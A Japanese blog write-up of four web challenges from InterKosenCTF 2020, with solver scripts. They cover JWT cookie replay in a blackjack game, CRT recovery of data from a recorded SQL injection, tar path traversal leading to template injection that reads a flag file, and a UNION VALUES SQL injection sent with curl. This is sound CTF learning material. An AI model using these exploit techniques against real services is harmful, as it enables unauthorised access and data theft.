2020/9/5 10:00から36h開催されたInterKosenCTFに、katagaitaiのメンバーとして初参戦しました。
結果
チームとしては5958ptsで5位でした。チームの方々が強すぎる…

個人としては1114pts(実質1014pts)で、Webのかんたん問題だけを貪っていた状態ですね。
純粋に力不足を感じました。

ところでこのCTF、作問者が3人で運営も3人だそうです。一体どうなっているんだ…
matsushima2 [Web, 121pts]

見覚えのある名前に見覚えのあるコンセプトですね。
どうやらSECCON 2018国内決勝のmatsushimaからきているようです。
matsushima はポーカーで、matsushima2 はブラックジャックです。
こいつはディーラーに勝てばチップが2倍、負ければ0。強制的に全額ベットという鬼畜モードで100チップを999999チップにする必要があります。
当然普通にプレイして偶然全勝することは不可能に近いので、ハックすることを目指します。
このwebアプリは matsushima
クッキー(JWT)にゲームの途中経過が全て記録されており、そのクッキーをやり取りすることでゲームを進行します。
{
"player": [
31,
40
],
"dealer": [
2
],
"chip": 100,
"player_score": 8,
"dealer_score": 3,
"cards": [
3,
43,
...(略)
]
}
JWT の署名は HS256 を指定されているため、改竄することはできませんが、途中経過のクッキーを控えておくことで、都合の悪いゲームを無効にしてやり直すことができます。
突貫で作ったソルバは以下の通り。
#!/bin/bash
jar='cookiejar.txt'
curlg="curl -c $jar -b $jar -Ls"
curlp="$curlg -X POST"
host='http://web.kosenctf.com:14001'
reset_cookie() {
cp $jar.bak $jar
}
restore_cookie() {
cp $jar $jar.bak
}
$curlp $host/initialize
restore_cookie
while true
do
while true
do
score=$($curlp $host/hit | jq .player_score)
if [[ $score -eq -1 ]]
then
reset_cookie #hitでバーストしたら保存しておいたクッキーを復元してチップを復活させる
elif [[ $score -ge 20 ]]
then
break
fi
done
chip=$($curlp $host/stand | jq .chip)
echo "chip: $chip"
if [[ $chip -eq 0 ]]
then
reset_cookie #チップが0になったらやり直し
elif [[ $chip -gt 999999 ]]
then
break
else
$curlp $host/nextgame
restore_cookie #ディーラに勝ったのでクッキーを保存しておく
fi
done
$curlg $host/flag
Flag: KosenCTF{r3m3mb3r_m475u5him4}
limited [Web, Misc, 157]
pcapファイルが1つだけ渡されます。
HTTPリクエストをみると、SQLiを試行している記録であることがわかります。

GET /search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19 HTTP/1.1\r\n
このように、secret
列のn (=1) 文字目をunicodeの数値に変換して、m (=19) で割ったあまりの行数分がレスポンスとして返って (=search_max
) くるように仕組んでいるようです。
なので、各リクエストのn, m, 返ってきた行数を記録していき、ソルバにぶん投げましょう。
フラグ内の文字は 0x21-0x7a
と指定されているので、その範囲で探索すればokです。
def getnum(l,d):
print(l)
for n in range(0x21, 0x7a):
flag=True
for k,v in d.items():
if n%k!=v:
flag=False
break
if flag==True:
return n
flag={
# 指定がないので9文字目までは'KosenCTF{'確定
10:{5:2,17:15,23:2},
11:{19:0,7:4,3:2},
12:{17:14,3:0,2:1,5:4},
13:{23:6,7:3,5:2},
14:{23:18,5:0,7:5},
15:{23:3,7:4,2:1},
16:{2:1,13:0,5:2,19:3},
17:{13:11,19:1,3:1},
18:{3:0,11:7,2:1,5:1},
19:{2:1,17:10,23:3},
20:{17:16,19:10},
21:{17:14,7:5,13:4},
22:{19:8,13:6,11:7},
23:{2:1,3:2,19:0,5:0},
24:{3:0,7:4,2:0,19:7},
25:{5:3,13:9,17:14},
26:{3:0,7:2,11:4,23:22},
27:{17:10,5:0,7:4},
28:{5:1,2:0,11:10,17:8},
29:{19:16,7:3,23:4},
30:{17:9,23:8},
31:{13:8,17:5,11:7},
32:{17:16,7:0,11:7},
33:{17:10,5:0,2:1,11:7},
34:{3:1,13:10,2:1,19:11},
35:{5:0,13:6,11:0},
36:{2:0,11:7,17:4},
37:{7:2,5:1,17:0},
38:{7:1,23:7,5:4},
39:{7:4,11:6,19:2},
40:{19:11,17:15},
41:{2:0,3:0,19:10,13:9},
42:{5:0,13:6,23:18},
43:{5:0,17:10,19:0},
44:{17:10,11:2,23:20},
45:{13:9,3:0,19:10},
46:{3:1,2:1,23:3,5:4},
47:{19:15,11:0,17:8},
48:{5:1,7:4,2:0,11:6},
#49:{13:8,23:10} #間違いなく'}'(範囲外)なのでパス
}
print("".join([ chr(getnum(k,v)) for k,v in list(flag.items()) ]))
Flag: KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}
miniblog [Web, 353pts]
ブログの記事だけでなく、テンプレートも自分で変更できるという良心的な(?)ブログサービスです。


ただし、SSTI防止のため、{{ }}
を含む文字列には不正な文字がないかチェックが入っているほか、pythonのコードをそのまま仕込める %
については使用を禁止されています。
@route("/update", method="POST")
def do_update_template():
username = get_username()
if not username:
return abort(400)
content = request.forms.get("content")
if not content:
return abort(400)
if "%" in content:
return abort(400, "forbidden")
for brace in re.findall(r"{{.*?}}", content):
if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace):
return abort(400, "forbidden")
template_path = "userdir/{userid}/template".format(userid=users[username]["id"])
with open(template_path, "w") as f:
f.write(content)
redirect("/")
ところで、このサービスには画像などの添付を可能にするため、tarファイルのアップロードが許可されています。
@route("/upload", method="POST")
def do_upload():
username = get_username()
if not username:
return abort(400)
attachment = request.files.get("attachment")
if not attachment:
return abort(400)
tarpath = 'tmp/{}'.format(uuid4().hex)
attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"])
attachment.save(tarpath)
try:
tarfile.open(tarpath).extractall(path=attachments_dir)
except (ValueError, RuntimeError):
pass
os.remove(tarpath)
redirect("/")
ここで展開に使用されている Tarfile.extractall()
は、ドキュメントの通り注意事項があります。
警告
内容を信頼できない tar アーカイブを、事前の内部チェック前に展開してはいけません。ファイルが path の外側に作られる可能性があります。例えば、
https://docs.python.org/ja/3/library/tarfile.html#tarfile.TarFile.extractall"/"
で始まる絶対パスのファイル名や、2 重ドット".."
で始まるパスのファイル名です。
このプログラムではそのようなチェックが行われていないため、絶対パスやトラバーサルを駆使して悪さができそうです。
また、tar ファイルには symlink を仕込むことも可能なので、その辺りも有効活用できそうですね。
ここまでわかったところで結構迷いました(後述)が、最終的には以下の手順で攻略が完了します。
攻略の指針
先述の通り、正規の手段で SSTI 攻撃を行うテンプレートを送ることはできません。
そこで、展開先パスにディレクトリトラバーサルを仕掛けた不正テンプレートを tar でアップロードします。
初撃は以下のコードを仕込みます。
% import os
{{os.listdir(path='/')}}
これを含んだ template
を以下の方法で tar に固めます。
tar cvf tarball.tar ../../(自分のID:32文字)/template
そうすると以下のリストが帰ってきます。
['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']
狙うべきファイルが見えました。
あとはこれを出力させるテンプレートを送れば完成です。
<%
f=open('/unpredicable_name_flag')
s=f.read()
f.close()
%>
{{s}}
Flag: KosenCTF{u_saw_th3_zip51ip_in_the_53CC0N_Beginn3r5_didn7?}
やっていたこと
tarの展開パスに ..
が使えることに気づくまでは、ずっと symlink で狙いのファイルを一発で引くものだと思っていました。
そのため、 /proc/self/environ
を読んだり、 /home/miniblog/flag.txt
などを引っ張ろうとしていましたが、あえなく失敗しました。
just sqli [Web, 383pts]
問題文の通りですね。
<?php
$user = NULL;
$is_admin = 0;
if (isset($_GET["source"])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$username = $_POST["username"];
$password = $_POST["password"];
$db = new PDO("sqlite:../database.db");
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
$db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);");
$q = "username, is_admin FROM users WHERE username = '$username' AND password = '$password'";
if (preg_match("/SELECT/i", $q)) {
throw new Exception("only select is a forbidden word");
}
$rows = $db->query("SELECT " . $q, PDO::FETCH_ASSOC);
foreach ($rows as $row) {
$user = $row["username"];
$is_admin = $row["is_admin"];
}
}
catch (Exception $e) {
exit("EXCEPTION!");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Just SQLi</title>
</head>
<body>
<h1>Just SQLi</h1>
<div><a href="?source=1">view source</a>
<?php if ($user) { ?>
<div>Nice Login <?= $user ?></div>
<?php if ($is_admin) { ?>
<div>And Nice to Get the Admin Permission!</div>
<div> <?= include("../flag.php"); ?></div>
<?php } ?>
<?php } ?>
<form action="" method="POST">
<div>username: <input type="text" name="username" required></div>
<div>password: <input type="text" name="password" required></div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
ご丁寧に SELECT
だけ禁止しています。UNION
が禁止されていないということは SQLite
に 固定値を取得する抜け道でもあるのでしょうか。
ここで公式を調べて SELECT
構文の鉄道ダイアグラムを見ます。

(出典:https://sqlite.org/lang_select.html)
VALUES
という怪しいやつを発見。
調べると、SELECT
を使わずに固定値を取得できるようです。
そうとわかれば超簡単ですね。
curl -F "username=a" -F "password=' UNION VALUES ('a', true) -- " http://web.kosenctf.com:14003/
Flag: KosenCTF{d0_y0u_kn0w_that_the_w0rd_va1u35_can_b3_aft3r_un10n}
コメント